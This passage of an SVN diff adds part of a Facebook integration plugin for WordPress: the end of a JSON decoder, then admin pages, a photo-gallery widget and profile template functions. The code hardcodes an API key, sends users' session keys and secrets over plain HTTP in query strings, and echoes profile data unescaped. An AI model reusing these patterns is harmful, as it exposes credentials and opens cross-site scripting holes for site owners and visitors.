+                                if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // "name":value pair
+                                    $key = $this->decode($parts[1]);
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // name:value pair, where name is unquoted
+                                    $key = $parts[1];
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                }
+
+                            }
+
+                        } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
+                            // found a quote, and we are not inside a string
+                            array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
+                            //print("Found start of string at {$c}\n");
+
+                        } elseif (($chrs{$c} == $top['delim']) &&
+                                 ($top['what'] == SERVICES_JSON_IN_STR) &&
+                                 ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) {
+                            // found a quote, we're in a string, and it's not escaped
+                            // we know that it's not escaped becase there is _not_ an
+                            // odd number of backslashes at the end of the string so far
+                            array_pop($stk);
+                            //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '[') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-bracket, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
+                            //print("Found start of array at {$c}\n");
+
+                        } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
+                            // found a right-bracket, and we're in an array
+                            array_pop($stk);
+                            //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '{') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-brace, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
+                            //print("Found start of object at {$c}\n");
+
+                        } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
+                            // found a right-brace, and we're in an object
+                            array_pop($stk);
+                            //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($substr_chrs_c_2 == '/*') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a comment start, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
+                            $c++;
+                            //print("Found start of comment at {$c}\n");
+
+                        } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
+                            // found a comment end, and we're in one now
+                            array_pop($stk);
+                            $c++;
+
+                            for ($i = $top['where']; $i <= $c; ++$i)
+                                $chrs = substr_replace($chrs, ' ', $i, 1);
+
+                            //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        }
+
+                    }
+
+                    if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                        return $arr;
+
+                    } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                        return $obj;
+
+                    }
+
+                }
+        }
+    }
+
+    /**
+     * @todo Ultimately, this should just call PEAR::isError()
+     */
+    function isError($data, $code = null)
+    {
+        if (class_exists('pear')) {
+            return PEAR::isError($data, $code);
+        } elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
+                                 is_subclass_of($data, 'services_json_error'))) {
+            return true;
+        }
+
+        return false;
+    }
+}
+
+if (class_exists('PEAR_Error')) {
+
+    class Services_JSON_Error extends PEAR_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+            parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
+        }
+    }
+
+} else {
+
+    /**
+     * @todo Ultimately, this class shall be descended from PEAR_Error
+     */
+    class Services_JSON_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+
+        }
+    }
+
+}
+    
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lib.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lib.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lib.php	(revision 44)
@@ -0,0 +1,1299 @@
+<?php
+if (!version_compare(phpversion(), "5.0.0", ">=")) {
+	die('<h1>Wordbook requires PHP version 5 or grater. Your PHP version is '.phpversion().'</h1>');
+} 
+if (!class_exists('Services_JSON')) {
+    require_once('json.php');
+}
+require_once('filecache.php');
+require_once('functions.php');
+require_once('bbcode.php');
+
+class wpfbg {
+	var $api_key = '0dfe6192ef3b071d8e32f702242ce36b';
+	var $app_url = 'http://d9a640bd.fb.joyent.us/app/';
+	var $cachetimeout = 60;
+	var $debug = 1;
+  var $mf_tags = array('%posturl%','%postname%','%category%','%blogname%','%postauthor%', '%commentauthor%');
+
+	function wpfbg  ($ajax=false) {
+		//hooks 
+		if ($ajax==true) return true;
+		add_action('admin_menu', array($this,'ConfigureMenu'));
+		add_action('admin_head', array($this,'print_adminjs'));
+		add_action('wp_print_scripts', array($this,'print_blogjs'));
+
+		if(get_option('facebook_minifeed_posts')=='Y' || get_option('facebook_minifeed_edit_posts')=='Y') {
+			add_action('transition_post_status',array($this,'send2feed'),9,3);
+			//add_action('publish_post',array($this,'send2feed'),9,3);
+		}
+
+		if(get_option('facebook_minifeed_comments')=='Y') {
+			add_action('comment_post', array($this,'comment2minifeed'),9,2);
+			add_action('wp_set_comment_status', array($this,'commentApproved'),9,2);
+		}		
+
+    		add_action("plugins_loaded", array($this,'init_widgets'));
+		add_action("deactivate_ferdinand-wordbook/index.php", array($this,'uninstall'));
+
+		if (get_option('facebook_photo_cache')!=$this->cachetimeout && get_option('facebook_photo_cache')) {
+			$this->cachetimeout = get_option('facebook_photo_cache');
+		}
+		
+		return true;
+	}
+	
+	function init_widgets() {
+		register_sidebar_widget('Wordbook FB Photos', array($this,'fb_galleryWidget'));
+		//register_sidebar_widget('Wordbook FB Status', array($this,'fb_statusWidget'));	
+	}
+
+	function get_token() {
+		$token = str_replace('"', '', trim($this->curl_get_contents("create_token.php")));
+		if (!get_option('facebook_token')) 
+		{
+			add_option("facebook_token", $token, '', 'yes');
+		} else {
+			update_option("facebook_token", $token, '', 'yes');
+		}
+	}
+
+	function ConfigureMenu() {
+		add_menu_page('Facebook on Wordpress', 'Wordbook', 1, 'ferdinand-wordbook', array($this,'wpfbg_identify'));
+		if ($this->check_fbaccount()) {
+		add_submenu_page('ferdinand-wordbook', 'Mini-Feed', 'Mini-Feed', 1, 'wpfbg_minifeed', array($this,'wpfbg_minifeed'));
+		//add_submenu_page('wpfbg', 'Friends Comment', 'Friends Comment', 1, 'wpfbg_friendscomment', array($this,'wpfbg_friendscomment'));
+		add_submenu_page('ferdinand-wordbook', 'Widget Gallery', 'Widget Gallery', 1, 'wpfbg_widget_gallery', array($this,'wpfbg_widget_gallery')); 
+		//add_submenu_page('wpfbg', 'Facebook Status', 'Facebook Status', 1, 'wpfbg_status', array($this,'wpfbg_status'));
+		add_submenu_page('ferdinand-wordbook', 'Facebook Template Functions', 'Template Functions', 1, 'wpfbg_mics', array($this,'wpfbg_mics'));		
+		}
+	}
+	
+	function uninstall() {
+		global $wpdb;
+		// expected_slashed ($name)
+		$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'facebook_%'" );
+		$alloptions = wp_load_alloptions();
+		if ( isset( $alloptions[$name] ) ) {
+			unset( $alloptions[$name] );
+			wp_cache_set( 'alloptions', $alloptions, 'options' );
+		}
+		return true;
+
+	}
+	function install() {
+
+		add_option("facebook_minifeed_posts", 'N', '', 'yes');
+		add_option("facebook_minifeed_edit_posts", 'N', '', 'yes');
+		add_option("facebook_minifeed_comments", 'N', '', 'yes');
+		add_option("facebook_minifeed_postformat", 'posted [url=%posturl%]%postname%[/url] to %blogname% in category %category%.', '', 'yes');
+		add_option("facebook_minifeed_commentformat", 'has new comment on his %blogname% blog, made by %commentauthor% on [url=%posturl%]%postname%[/url].', '', 'yes');
+		add_option("facebook_minifeed_edit_postformat", 'edited [url=%posturl%]%postname%[/url] in %blogname% blog in category %category%.', '', 'yes');
+				
+		add_option("facebook_gallery_widget_colums", '2', '', 'yes');
+		add_option("facebook_gallery_widget_rows", '5', '', 'yes');
+		add_option("facebook_gallery_widget_spacing", '1', '', 'yes');
+		add_option("facebook_gallery_widget_padding", '1', '', 'yes');
+		add_option("facebook_gallery_widget_title", 'My Facebook Photos', '', 'yes');
+		add_option("facebook_gallery_widget_class", '', '', 'yes');
+		add_option("facebook_gallery_widget_height", '75', '', 'yes');
+		add_option("facebook_gallery_widget_width", '75', '', 'yes');
+		add_option("facebook_photo_cache", '60', '', 'yes');
+
+		//add_option("facebook_friendscomment", 'N', '', 'yes');
+	}
+
+  function print_head($description='Facebook on Wordpress', $title='Wordbook') {
+    ?>
+		<div class="wrap">
+		<table>
+		<tr><td valign="top" style="padding:0 10px 0 0;">
+		<h2><?=$title?></h2>
+		<p><?=$description?></p>
+		<?php
+  }
+  
+  function check_fbaccount() {
+    if (!get_option('facebook_session_key')) return false;
+    else return true;
+  }
+  
+  function print_foot() {
+    ?>
+ 	</td><td style="width:200px" valign="top">
+<div class="submitbox" id="submitpost">
+
+<div id="previewview" style="color:#fff;font-size:1.4em">
+Need Developer?
+</div>
+
+<div class="inside" style="padding:0 0 0 5px;">
+<script>
+function fb_project_type(sb) {
+	if (sb[sb.selectedIndex].value=='Other') {
+		$('other_hidden').show();
+	} else {
+		$('other_hidden').hide();
+	}
+	if (sb[sb.selectedIndex].value=='Opensource CMS customization') {
+		$('cms_hidden').show();
+	} else {
+		$('cms_hidden').hide();
+	}
+}
+</script>
+
+<p>
+	<label for="project_type">Project Type:</label><br />
+	<select name="project_type" id="project_type" onchange="fb_project_type(this);" style="font-size:0.8em">
+		<option value="Wordpress customization" selected="selected">Wordpress customization</option>
+		<option value="PHP/MySQL Project from scratch">PHP/MySQL Project from scratch</option>
+		<option value="Javacript/Ajax">Javacript/Ajax</option>
+		<option value="Facebook application">Facebook application</option>
+		<option value="Opensource CMS customization">Opensource CMS customization</option>
+		<option value="Development consulting">Development consulting</option>
+		<option value="Other">Other</option>
+	</select>
+	<div id="other_hidden" style="display:none;margin-top:-10px;">
+		<label>Please be more specific:</label><br />
+		<input type="text" name="other_msg" id="other_msg">
+	</div>
+	<div id="cms_hidden" style="display:none;">
+		<label>Please specify CMS:</label><br />
+		<input type="text" name="cms_msg" id="cms_msg">
+	</div>
+	<div>
+		<label>Project deadline:</label><br />
+		<input type="text" name="deadline" id="deadline">
+	</div>
+	<div>
+		<label>Project details:</label><br />
+		<textarea name="details" id="details"></textarea>
+	</div>
+	<div>
+		<label>Full name:</label><br />
+		<input type="text" name="name" id="name">
+	</div>
+	<div>
+		<label>Your E-Mail:</label><br />
+		<input type="text" name="email" id="email">
+	</div>
+</p>
+
+</div>
+
+<p class="submit">
+<span id="fbloader_rquote" style="display:none"><img src="images/loading.gif"></span>	
+	<input value="Request a quote" type="button" name="rquote" id="rquote" class="button button-highlighted" onclick="request_quote()">
+</p>
+</div></div>
+<div>
+<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+<input type="hidden" name="cmd" value="_donations">
+<input type="hidden" name="business" value="vcvetic@hazaah.com">
+<input type="hidden" name="item_name" value="Wordbook">
+<span style="padding-left:10px;position:relative;top:-10px;"><input type="text" name="amount" value="1" style="width:36px;"> usd</span>
+<input type="hidden" name="no_shipping" value="0">
+<input type="hidden" name="no_note" value="1">
+<input type="hidden" name="currency_code" value="USD">
+<input type="hidden" name="tax" value="0">
+<input type="hidden" name="lc" value="GB">
+<input type="hidden" name="bn" value="PP-DonationsBF">
+<input type="image" src="https://www.paypalobjects.com/WEBSCR-540-20080911-2/en_US/i/btn/btn_donate_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online.">
+<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1">
+</form>
+</div>
+	</td></tr>
+	</table>
+    </div>
+    <?php  
+  }
+  
+  function wpfbg_status() {
+	$this->print_head('Status stuff', 'Facebook Status'); 
+	$session_key = get_option('facebook_session_key');
+	$uid = get_option('facebook_uid');
+	$secret = get_option('facebook_secret');
+	$response = $this->curl_get_contents("getUserInfo.php?session_key=$session_key&uid=$uid&secret=$secret");
+	$json = new Services_JSON();
+	$ob = $json->decode($response);	
+	?>
+      <form method="post" action="../wp-content/plugins/ferdinand-wordbook/glw_action.php">
+      <input name="_wp_http_referer" value="../../../wp-admin/admin.php?page=wpfbg_widget_gallery" type="hidden">
+      <table class="form-table">
+      <tbody>
+        <tr valign="top">
+          <th scope="row">Facebook Status</th>
+          <td><input type="text" name="fbstatus" id="fbstatus" value="<?=$ob->status->message?>"> <span><?=ucwords(ezDate($ob->status->time)).' Ago';?></span></td>
+        </tr>
+	</tbody>
+	</table>
+	<p class="submit">
+		<input name="Submit" value="Change Status" type="button" onclick="fb_changeStatus();">
+	</p>
+	</form>
+	<?php
+	$this->print_foot();
+  }
+
+	/*function wpfbg_friendscomment() {
+		$this->print_head('Here you can set to allow your Facebook friends to comment on your blog posts without moderation, even if they are not registered on your blog!<br />
+					Simply check below to enable this function, or uncheck to disable it.', 'Friends Comment'); 
+		?>
+    <form method="post" action="../wp-content/plugins/ferdinand-wordbook/fc_action.php">
+      <input name="_wp_http_referer" value="../../../wp-admin/admin.php?page=wpfbg_friendscomment" type="hidden">
+      <table class="form-table">
+      <tbody>
+        <tr valign="top">
+          <th scope="row">Enable Friends Comment</th>
+          <td><input type="checkbox" name="friend_comment" <?if(get_option('facebook_friendscomment')=='Y'){?>checked="checked"<?}?>></td>
+        </tr>
+      </tbody>
+      </table>
+      <p class="submit">
+      <input name="Submit" value="Save Changes" type="submit">
+      </p>
+    </form>
+		<?php
+		$this->print_foot();
+	}*/
+
+  function wpfbg_mics() {
+	$this->print_head('Mics template functions. Using only copy/paste you can display almost any Facebook info on your blog. Simply copy Wordpress Template Code and paste it in your wordpress template.', 'Template Functions'); 
+	$session_key = get_option('facebook_session_key');
+	$uid = get_option('facebook_uid');
+	$secret = get_option('facebook_secret');
+	$response = $this->curl_get_contents("getUserInfo.php?session_key=$session_key&uid=$uid&secret=$secret");
+	$json = new Services_JSON();
+	$ob = $json->decode($response);	
+	?>
+		<table class="widefat">
+			<thead>
+			<tr>
+				<th scope="col">Name</th>
+				<th scope="col">Wordpress Template Code</th>
+				<th scope="col">Current Value</th>
+				<th scope="col">Description</th>
+			</tr>
+			</thead>
+			<tbody>
+			<tr>
+				<td scope="row">about_me</td>
+				<td scope="row">&lt;?=facebook::userInfo('about_me')?&gt;</td>
+				<td scope="row"><?=$ob->about_me?></td>
+				<td scope="row">text element corresponding to Facebook 'About Me' profile section. May be blank.</td>
+			</tr>
+			<tr>
+				<td scope="row">activities</td>
+				<td scope="row">&lt;?=facebook::userInfo('activities')?&gt;</td>
+				<td scope="row"><?=$ob->activities?></td>
+				<td scope="row">User-entered "Activities" profile field. No guaranteed formatting.</td>
+			</tr>
+			<tr>
+				<td scope="row">birthday</td>
+				<td scope="row">&lt;?=facebook::userInfo('birthday')?&gt;</td>
+				<td scope="row"><?=$ob->birthday?></td>
+				<td scope="row">User-entered "Birthday" profile field. No guaranteed formatting. </td>
+			</tr>
+			<tr>
+				<td scope="row">books</td>
+				<td scope="row">&lt;?=facebook::userInfo('books')?&gt;</td>
+				<td scope="row"><?=$ob->books?></td>
+				<td scope="row">User-entered "Favorite Books" profile field. No guaranteed formatting. </td>
+			</tr>
+			<tr>
+				<td scope="row">first_name</td>
+				<td scope="row">&lt;?=facebook::userInfo('first_name')?&gt;</td>
+				<td scope="row"><?=$ob->first_name?></td>
+				<td scope="row">is generated from the user-entered "Name" profile field.  </td>
+			</tr>
+			<tr>
+				<td scope="row">interests</td>
+				<td scope="row">&lt;?=facebook::userInfo('interests')?&gt;</td>
+				<td scope="row"><?=$ob->interests?></td>
+				<td scope="row">interests </td>
+			</tr>
+			<tr>
+				<td scope="row">last_name</td>
+				<td scope="row">&lt;?=facebook::userInfo('last_name')?&gt;</td>
+				<td scope="row"><?=$ob->last_name?></td>
+				<td scope="row">is generated from the user-entered "Name" profile field.  </td>
+			</tr>
+			<tr>
+				<td scope="row">locale</td>
+				<td scope="row">&lt;?=facebook::userInfo('locale')?&gt;</td>
+				<td scope="row"><?=$ob->locale?></td>
+				<td scope="row">is the current locale code in which the user has chosen to browse Facebook. The basic format is LL_CC, where LL is a two-letter language code, and CC is a two-letter country code. For instance, 'en_US' represents US English.  </td>
+			</tr>
+			<tr>
+				<td scope="row">movies</td>
+				<td scope="row">&lt;?=facebook::userInfo('movies')?&gt;</td>
+				<td scope="row"><?=$ob->movies?></td>
+				<td scope="row">User-entered "Favorite Movies" profile field. No guaranteed formatting. </td>
+			</tr>
+			<tr>
+				<td scope="row">music</td>
+				<td scope="row">&lt;?=facebook::userInfo('music')?&gt;</td>
+				<td scope="row"><?=$ob->music?></td>
+				<td scope="row">User-entered "Favorite Music" profile field. No guaranteed formatting. </td>
+			</tr>
+			<tr>
+				<td scope="row">name</td>
+				<td scope="row">&lt;?=facebook::userInfo('name')?&gt;</td>
+				<td scope="row"><?=$ob->name?></td>
+				<td scope="row">User-entered "Name" profile field. May not be blank. </td>
+			</tr>
+			<tr>
+				<td scope="row">notes_count</td>
+				<td scope="row">&lt;?=facebook::userInfo('notes_count')?&gt;</td>
+				<td scope="row"><?=$ob->notes_count?></td>
+				<td scope="row">Total number of notes written by the user. </td>
+			</tr>
+			<tr>
+				<td scope="row">pic</td>
+				<td scope="row">&lt;?=facebook::userInfo('pic')?&gt;</td>
+				<td scope="row"><?=$ob->pic?></td>
+				<td scope="row">URL of user profile picture, with max width 100px and max height 300px. May be blank. </td>
+			</tr>
+			<tr>
+				<td scope="row">pic_big</td>
+				<td scope="row">&lt;?=facebook::userInfo('pic_big')?&gt;</td>
+				<td scope="row"><?=$ob->pic_big?></td>
+				<td scope="row">URL of user profile picture, with max width 200px and max height 600px. May be blank. </td>
+			</tr>
+			<tr>
+				<td scope="row">pic_small</td>
+				<td scope="row">&lt;?=facebook::userInfo('pic_small')?&gt;</td>
+				<td scope="row"><?=$ob->pic_small?></td>
+				<td scope="row">URL of user profile picture, with max width 50px and max height 150px. May be blank. </td>
+			</tr>
+			<tr>
+				<td scope="row">pic_square</td>
+				<td scope="row">&lt;?=facebook::userInfo('pic_square')?&gt;</td>
+				<td scope="row"><?=$ob->pic_square?></td>
+				<td scope="row">URL of a square section of the user profile picture, with width 50px and height 50px. May be blank. </td>
+			</tr>
+			<tr>
+				<td scope="row">political</td>
+				<td scope="row">&lt;?=facebook::userInfo('political')?&gt;</td>
+				<td scope="row"><?=$ob->political?></td>
+				<td scope="row">User-entered "Political View" profile field. It's a free-form text field. </td>
+			</tr>
+			<tr>
+				<td scope="row">profile_update_time</td>
+				<td scope="row">&lt;?=facebook::userInfo('profile_update_time')?&gt;</td>
+				<td scope="row"><?=$ob->profile_update_time?></td>
+				<td scope="row">Time (in seconds since epoch) that the user's profile was last updated. If the user's profile was not updated recently, 0 is returned. </td>
+			</tr>
+			<tr>
+				<td scope="row">quotes</td>
+				<td scope="row">&lt;?=facebook::userInfo('quotes')?&gt;</td>
+				<td scope="row"><?=$ob->quotes?></td>
+				<td scope="row">User-entered "Favorite Quotes" profile field. No guaranteed formatting. </td>
+			</tr>
+			<tr>
+				<td scope="row">relationship_status</td>
+				<td scope="row">&lt;?=facebook::userInfo('relationship_status')?&gt;</td>
+				<td scope="row"><?=$ob->relationship_status?></td>
+				<td scope="row">User-entered "Relationship Status" profile field. Is either blank or one of the following strings: Single, In a Relationship, In an Open Relationship, Engaged, Married, It's Complicated. </td>
+			</tr>
+			<tr>
+				<td scope="row">religion</td>
+				<td scope="row">&lt;?=facebook::userInfo('religion')?&gt;</td>
+				<td scope="row"><?=$ob->religion?></td>
+				<td scope="row">User-entered "Religious Views" profile field. No guaranteed formatting. </td>
+			</tr>
+			<tr>
+				<td scope="row">sex</td>
+				<td scope="row">&lt;?=facebook::userInfo('sex')?&gt;</td>
+				<td scope="row"><?=$ob->sex?></td>
+				<td scope="row">User-entered "Sex" profile file. Either "male", "female", or left blank.  </td>
+			</tr>
+			<tr>
+				<td scope="row">significant_other</td>
+				<td scope="row">&lt;?=facebook::userInfo('significant_other')?&gt;</td>
+				<td scope="row"><?=$ob->significant_other?></td>
+				<td scope="row">the name of the person the user is in a relationship with. Only shown if both people in the relationship are users of the application making the request. </td>
+			</tr>
+			<tr>
+				<td scope="row">status</td>
+				<td scope="row">&lt;?=facebook::userInfo('status')?&gt;</td>
+				<td scope="row"><?=$ob->status->message?></td>
+				<td scope="row">Facebook status message.</td>
+			</tr>
+			<tr>
+				<td scope="row">timezone</td>
+				<td scope="row">&lt;?=facebook::userInfo('timezone')?&gt;</td>
+				<td scope="row"><?=$ob->timezone?></td>
+				<td scope="row">offset from GMT (e.g. Belgrade is +1). </td>
+			</tr>
+			<tr>
+				<td scope="row">tv</td>
+				<td scope="row">&lt;?=facebook::userInfo('tv')?&gt;</td>
+				<td scope="row"><?=$ob->tv?></td>
+				<td scope="row">User-entered "Favorite TV Shows" profile field. No guaranteed formatting.  </td>
+			</tr>
+			<tr>
+				<td scope="row">wall_count</td>
+				<td scope="row">&lt;?=facebook::userInfo('wall_count')?&gt;</td>
+				<td scope="row"><?=facebook::userInfo('wall_count')?></td>
+				<td scope="row">Total number of posts to the user's wall. </td>
+			</tr>
+			</tbody>
+		</table>
+	<?php
+	$this->print_foot();
+  }
+
+	static function userInfo($keyword) {
+		$session_key = get_option('facebook_session_key');
+		$uid = get_option('facebook_uid');
+		$secret = get_option('facebook_secret');
+		$fb = new facebook();
+		$response = $fb->curl_get_contents("getUserInfo.php?session_key=$session_key&uid=$uid&secret=$secret");
+		$json = new Services_JSON();
+		$ob = $json->decode($response);
+		if ($keyword=='status') return $ob->status->message;
+
+		return $ob->$keyword;
+	}
+
+
+  function wpfbg_widget_gallery() {
+    $this->print_head('Here you can configure Facebook Gallery Widget.<br />After you finish with configuration head to Wordpress Widgets settings (<a href="widgets.php">here</a>) and activate widget "Wordbook FB Photos"... all done!', 'Widget Gallery'); 
+    $selected_albums = array();
+    if (get_option('facebook_albums') && trim(get_option('facebook_albums'))!='' && get_option('facebook_albums')!='null') {
+    $selected_albums = get_option('facebook_albums');
+    $json = new Services_JSON();
+    $selected_albums = $json->decode($selected_albums);
+    }
+     ?>
+    <form method="post" action="../wp-content/plugins/ferdinand-wordbook/glw_action.php">
+      <input name="_wp_http_referer" value="../../../wp-admin/admin.php?page=wpfbg_widget_gallery" type="hidden">
+      <table class="form-table">
+      <tbody>
+        <tr valign="top">
+          <th scope="row">Sidebar Title</th>
+          <td><input type="text" name="fbtitle" value="<?php if(!get_option('facebook_gallery_widget_title')){?>My Facebook Photos<?}else{ echo get_option('facebook_gallery_widget_title'); }?>"></td>
+        </tr>
+        <tr valign="top">
+          <th scope="row">CSS Table Class</th>
+          <td><input type="text" name="fbclass" value="<?php if(!get_option('facebook_gallery_widget_class')){?><?}else{ echo get_option('facebook_gallery_widget_class'); }?>"></td>
+        </tr>
+        <tr valign="top">
+          <th scope="row">Rows</th>
+          <td><input type="text" name="fbgl_rows" value="<?php if(!get_option('facebook_gallery_widget_rows')){?>5<?}else{ echo get_option('facebook_gallery_widget_rows'); }?>"></td>
+        </tr>
+        <tr valign="top">
+          <th scope="row">Columns</th>
+          <td><input type="text" name="fbgl_colums" value="<?php if(!get_option('facebook_gallery_widget_colums')){?>2<?}else{ echo get_option('facebook_gallery_widget_colums'); }?>"></td>
+        </tr>
+        <tr valign="top">
+          <th scope="row">Cell Spacing</th>
+          <td><input type="text" name="fbspacing" value="<?php if(!get_option('facebook_gallery_widget_spacing')){?>1<?}else{ echo get_option('facebook_gallery_widget_spacing'); }?>"></td>
+        </tr>
+        <tr valign="top">
+          <th scope="row">Cell Padding</th>
+          <td><input type="text" name="fbpadding" value="<?php if(!get_option('facebook_gallery_widget_padding')){?>1<?}else{ echo get_option('facebook_gallery_widget_padding'); }?>"></td>
+        </tr>
+        <tr valign="top">
+          <th scope="row">Thumb Size</th>
+          <td><input type="text" name="fbwidth" value="<?php if(!get_option('facebook_gallery_widget_width')){?>1<?}else{ echo get_option('facebook_gallery_widget_width'); }?>" size="3" >x<input size="3" type="text" name="fbheight" value="<?php if(!get_option('facebook_gallery_widget_height')){?>1<?}else{ echo get_option('facebook_gallery_widget_height'); }?>">px</td>
+        </tr>
+        <tr valign="top">
+          <th scope="row">Cache expiry time</th>
+          <td><input type="text" name="fbcache" value="<?php if(!get_option('facebook_photo_cache')){?>60<?}else{ echo get_option('facebook_photo_cache'); }?>" size="3" >sec</td>
+        </tr>
+      </tbody>
+      </table>
+      <p class="submit">
+      <input name="Submit" value="Save Changes" type="submit">
+      </p>
+    </form>
+     <table>
+      <tr>
+        <td width="420" valign="top">
+        <h2>Not Selected</h2>
+        <span id="fb_notselected">
+     <?php
+			$session_key = get_option('facebook_session_key');
+			$uid = get_option('facebook_uid');
+			$secret = get_option('facebook_secret');  
+			$response = $this->curl_get_contents("listAlbums.php?session_key=$session_key&uid=$uid&secret=$secret");
+			$json = new Services_JSON();
+			$ob = $json->decode($response);
+      //die($response);            
+      foreach($ob as $aid=>$album) {
+        $fbselected = 'N';
+        foreach($selected_albums as $selected_album) {
+            if ("a".$selected_album=="a".$aid) {
+                $fbselected = 'Y';
+            }
+        }
+        if ($fbselected != 'Y') {
+        $fbselected = 'N';
+        ?>
+        <span id="album-<?=$aid?>">
+                <table width="440" cellspacing="0" cellpadding="2">
+                  <tr>
+                    <td width="150">
+                      <img class="gallerypic" src="<?=$album->photos->src?>">
+                    </td>
+                    <td valign="top" width="290">
+                      <table cellspacing="0" cellpadding="2">
+                          <tr>
+                              <td><strong><?=$album->name?></strong></td>
+                          </tr>
+                          <tr>
+                              <td><strong>Created:</strong> <?=date("F j, Y, g:i a",$album->created)?></td>
+                          </tr>
+                          <tr>
+                              <td><strong>Modified:</strong> <?=date("F j, Y, g:i a",$album->modified)?></td>
+                          </tr>
+                          <tr>
+                              <td><strong>Total Photos:</strong> <?=$album->size?></td>
+                          </tr>
+                          <tr>
+                              <td>
+                              <input id="action-<?=$aid?>" type="button" value="Add this album" onclick="fb_selectAlbum('<?=$aid?>');" class="button">
+                              <input type="button" value="Remove this album" style="display:none" id="raction-<?=$aid?>" onclick="fb_removeAlbum('<?=$aid?>');" class="button">
+                              </td>
+                          </tr>
+                      </table>
+                    </td>
+                  </tr>
+                </table>
+        </span>
+        <?php
+        }
+      }
+      ?>
+          </span>
+          </td>
+
+            <td width="440" valign="top">
+            <h2>Selected</h2>
+            <span id="fb_selected">
+            <?php
+                $y=0;
+                foreach($ob as $aid=>$album) {
+                $fbselected = 'N';
+                foreach($selected_albums as $selected_album) {
+                    if ("a".$selected_album=="a".$aid) {
+                        $fbselected = 'Y';
+                    }
+                }
+                if ($fbselected == 'Y') {
+                $fbselected = 'N';
+                $y++
+                ?>
+                <span id="album-<?=$aid?>">
+                        <table width="440" cellspacing="0" cellpadding="2">
+                          <tr>
+                            <td width="150">
+                              <img class="gallerypic" src="<?=$album->photos->src?>">
+                            </td>
+                            <td valign="top" width="290">
+                              <table cellspacing="0" cellpadding="2">
+                                  <tr>
+                                      <td><strong><?=$album->name?></strong></td>
+                                  </tr>
+                                  <tr>
+                                      <td><strong>Created:</strong> <?=date("F j, Y, g:i a",$album->created)?></td>
+                                  </tr>
+                                  <tr>
+                                      <td><strong>Modified:</strong> <?=date("F j, Y, g:i a",$album->modified)?></td>
+                                  </tr>
+                                  <tr>
+                                      <td><strong>Total Photos:</strong> <?=$album->size?></td>
+                                  </tr>
+                                  <tr>
+                                      <td>
+                                      <input type="button" value="Add this album" style="display:none" id="action-<?=$aid?>" onclick="fb_selectAlbum('<?=$aid?>');" class="button">
+                                      <input type="button" value="Remove this album" id="raction-<?=$aid?>" onclick="fb_removeAlbum('<?=$aid?>');" class="button">
+                                      </td>
+                                  </tr>
+                              </table>
+                            </td>
+                          </tr>
+                        </table>
+                </span>
+                <?php
+                }}
+                if ($y==0) {
+                ?>
+                <p><strong>No albums selected.</strong> If you don't select any albums, all albums will be included.</p>
+                <?php
+                }
+                ?>         
+            </span>
+            </td>
+        </tr>
+      </table>
+      <?php
+    $this->print_foot();
+  }
+  
+  function wpfbg_minifeed() {
+    $this->print_head('You can use this page to configure what and how do you want to post to your Facebook mini-feed.<br /><br />
+Available tags are: %posturl%,%postname%,%category%,%blogname%, %postauthor%, %commentauthor%<br/><br />
+You should know that because of Facebook limitations all mini-feed posts must start with your Facebook name, no need to include it... it will be dona automaticly by Facebook<br /><br />
